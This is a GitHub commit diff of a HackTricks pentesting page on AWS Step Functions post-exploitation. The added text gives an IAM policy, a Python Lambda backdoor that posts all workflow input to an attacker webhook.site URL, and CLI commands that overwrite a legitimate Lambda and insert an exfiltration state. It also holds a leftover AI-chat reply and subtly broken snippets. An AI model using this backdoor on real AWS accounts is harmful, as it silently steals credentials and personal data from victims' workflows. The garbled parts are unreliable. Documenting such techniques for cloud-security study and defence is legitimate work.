Skip to content

Commit c6edb50

Browse files
committed
arte-mr.kluo-UpdateStateMachine
1 parent ce8947e commit c6edb50

File tree

1 file changed

+102
-36
lines changed

1 file changed

+102
-36
lines changed

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

Lines changed: 102 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -71,67 +71,133 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
7171

7272
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
7373

74-
### `states:UpdateStateMachine`
74+
Absolutely — here's your **PR-ready write-up** in the requested format, aligned with the `HackTricks` style you've been following.
7575

76-
This permission allows an attacker to **modify the logic of an existing state machine**. By injecting malicious logic into the state definition, the attacker could:
76+
---
7777

78-
- Add a **new state** that exfiltrates input/output to an external system (via Lambda or SNS).
79-
- **Bypass security checks**, skip validation steps, or disable error handling.
80-
- **Insert a logic bomb** that triggers under specific input conditions to disrupt execution.
78+
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
8179

82-
This attack can be subtle, blending into large state definitions, and may go unnoticed without strict ASL version control.
80+
An attacker who compromises a user or role with the following permissions:
81+
82+
```json
83+
{
84+
"Version": "2012-10-17",
85+
"Statement": [
86+
{
87+
"Sid": "AllowUpdateStateMachine",
88+
"Effect": "Allow",
89+
"Action": "states:UpdateStateMachine",
90+
"Resource": "*"
91+
},
92+
{
93+
"Sid": "AllowUpdateFunctionCode",
94+
"Effect": "Allow",
95+
"Action": "lambda:UpdateFunctionCode",
96+
"Resource": "*"
97+
}
98+
]
99+
}
100+
```
101+
102+
...can conduct a **high-impact and stealthy post-exploitation attack** by combining Lambda backdooring with Step Function logic manipulation.
103+
104+
This scenario assumes that the victim uses **AWS Step Functions to orchestrate workflows that process sensitive input**, such as credentials, tokens, or PII.
105+
106+
Example victim invocation:
83107

84108
```bash
85-
aws stepfunctions update-state-machine \
86-
--state-machine-arn <value> \
87-
--definition file://malicious_state_definition.json \
88-
--role-arn arn:aws:iam::<account-id>:role/<execution-role>
109+
aws stepfunctions start-execution \
110+
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
111+
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
89112
```
90113

91-
`malicious_state_definition.json`
114+
If the Step Function is configured to invoke a Lambda like `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**:
92115

93-
```json
116+
---
117+
118+
#### Updated the lambda function
119+
120+
The attacker modifies the code of the Lambda function already used by the Step Function (`LegitBusinessLogic`) to silently exfiltrate input data.
121+
122+
```python
123+
# send_to_attacker.py
124+
import requests
125+
126+
def lambda_handler(event, context):
127+
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
128+
return {"status": "exfiltrated"}
129+
```
130+
131+
```bash
132+
zip function.zip send_to_attacker.py
133+
134+
aws lambda update-function-code \
135+
--function-name LegitBusinessLogic \
136+
--zip-file fileb://function.zip -profile attacker
137+
```
138+
139+
---
140+
141+
#### Add a Malicious State to the Step Function
142+
143+
Alternatively, the attacker can inject an **exfiltration state** at the beginning of the workflow by updating the Step Function definition.
144+
145+
```malicious_state_definition.json
94146
{
95-
"Comment": "Malicious State Machine - Data Exfiltration",
147+
"Comment": "Backdoored for Exfiltration",
148+
"StartAt": "OriginalState",
149+
"States": {
150+
"OriginalState": {
151+
"Type": "Task",
152+
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
153+
"End": true
154+
}
155+
}
156+
}
157+
158+
```
159+
160+
```bash
161+
aws stepfunctions update-state-machine \
162+
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
163+
--definition file://malicious_state_definition.json --profile attacker
164+
```
165+
166+
The attacker can even more stealthy to update the state definition to something like this
167+
{
168+
"Comment": "Backdoored for Exfiltration",
96169
"StartAt": "ExfiltrateSecrets",
97170
"States": {
98171
"ExfiltrateSecrets": {
99172
"Type": "Task",
100-
"Resource": "arn:aws:lambda:us-east-1:123456789012:function:SendToAttacker",
173+
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
101174
"InputPath": "$",
102-
"ResultPath": "$.exfiltration_result",
103-
"Next": "LegitimateStep"
175+
"ResultPath": "$.exfil",
176+
"Next": "OriginalState"
104177
},
105-
"LegitimateStep": {
178+
"OriginalState": {
106179
"Type": "Task",
107-
"Resource": "arn:aws:lambda:us-east-1:123456789012:function:LegitBusinessLogic",
180+
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
108181
"End": true
109182
}
110-
}
183+
}
111184
}
112-
```
113-
- **Potential Impact**: Data exfiltration, disruption of logic flow, persistent access through hidden states.
185+
where the victim won't realize the different
114186

115187
---
116188

117-
### `states:StartExecution`
189+
### Victim Setup (Context for Exploit)
118190

119-
With this permission, an attacker can **trigger executions on demand**, passing arbitrary input to state machines. This allows:
191+
- A Step Function (`LegitStateMachine`) is used to process sensitive user input.
192+
- It calls one or more Lambda functions such as `LegitBusinessLogic`.
120193

121-
- **Triggering sensitive operations** (e.g., Lambda invocations, EC2 actions) if the workflow handles them.
122-
- **Supplying attacker-controlled input** to abuse poorly validated states.
123-
- **Recon of business logic** by probing execution responses or failures.
124-
125-
Used with `states:GetExecutionHistory`, it becomes a powerful tool for **logic discovery**, **abuse**, or **command execution** through embedded Lambdas or activities.
126-
127-
```bash
128-
aws stepfunctions start-execution \
129-
--state-machine-arn <value> \
130-
--name "backdoor-$(date +%s)" \
131-
--input '{"command":"whoami"}'
132-
```
194+
---
133195

134-
- **Potential Impact**: Unauthorized triggering of sensitive workflows, business logic abuse, stealthy persistence (can be cron-triggered via EventBridge).
196+
**Potential Impact**:
197+
- Silent exfiltration of sensitive data including secrets, credentials, API keys, and PII.
198+
- No visible errors or failures in workflow execution.
199+
- Difficult to detect without auditing Lambda code or execution traces.
200+
- Enables long-term persistence if backdoor remains in code or ASL logic.
135201

136202

137203
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)